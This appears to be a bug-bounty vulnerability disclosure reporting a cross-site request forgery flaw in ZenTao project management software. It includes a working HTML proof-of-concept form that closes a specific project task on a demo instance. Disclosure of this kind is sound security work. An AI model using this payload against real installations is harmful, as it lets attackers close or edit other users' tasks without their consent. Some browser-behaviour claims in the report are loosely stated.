Cross-Site Request Forgery (CSRF) in easysoft/zentaopmsValid
Jul 28th 2021
When you don't set the SameSite attribute of cookies the browsers have special act in front of this issue.(I mean set default value on it) chrome and chromium based browsers set the attribute "Lax" that mean if you do add/delete/alter operation in a get HTTP request then your site more vulnerable with CSRF attacks.
But Firefox and safari ( one of big ones ) don't set this attribute to "Lax" and set it to "none" that makes all POST and GET requests more Vulnerable to CSRF attack.
In Firefox and safari I can close/edit any project task With CSRF that users already allowed manually do it.
🕵️♂️ Proof of Concept
<html> <body> <script>history.pushState('', '', '/')</script> <form action="https://demo.zentao.pm/task-close-104.html?onlybody=yes" method="POST"> <input type="hidden" name="status" value="closed" /> <input type="hidden" name="comment" value="nothings!!! :))<br />" /> <input type="hidden" name="uid" value="6101a5cf9d997" /> <input type="submit" value="Submit request" /> </form> </body> </html>
Here you should run PoC.html, after click on button you can see an Project task with id equals to
104 have been closed.
This vulnerability is capable of close/edit any project task of any user.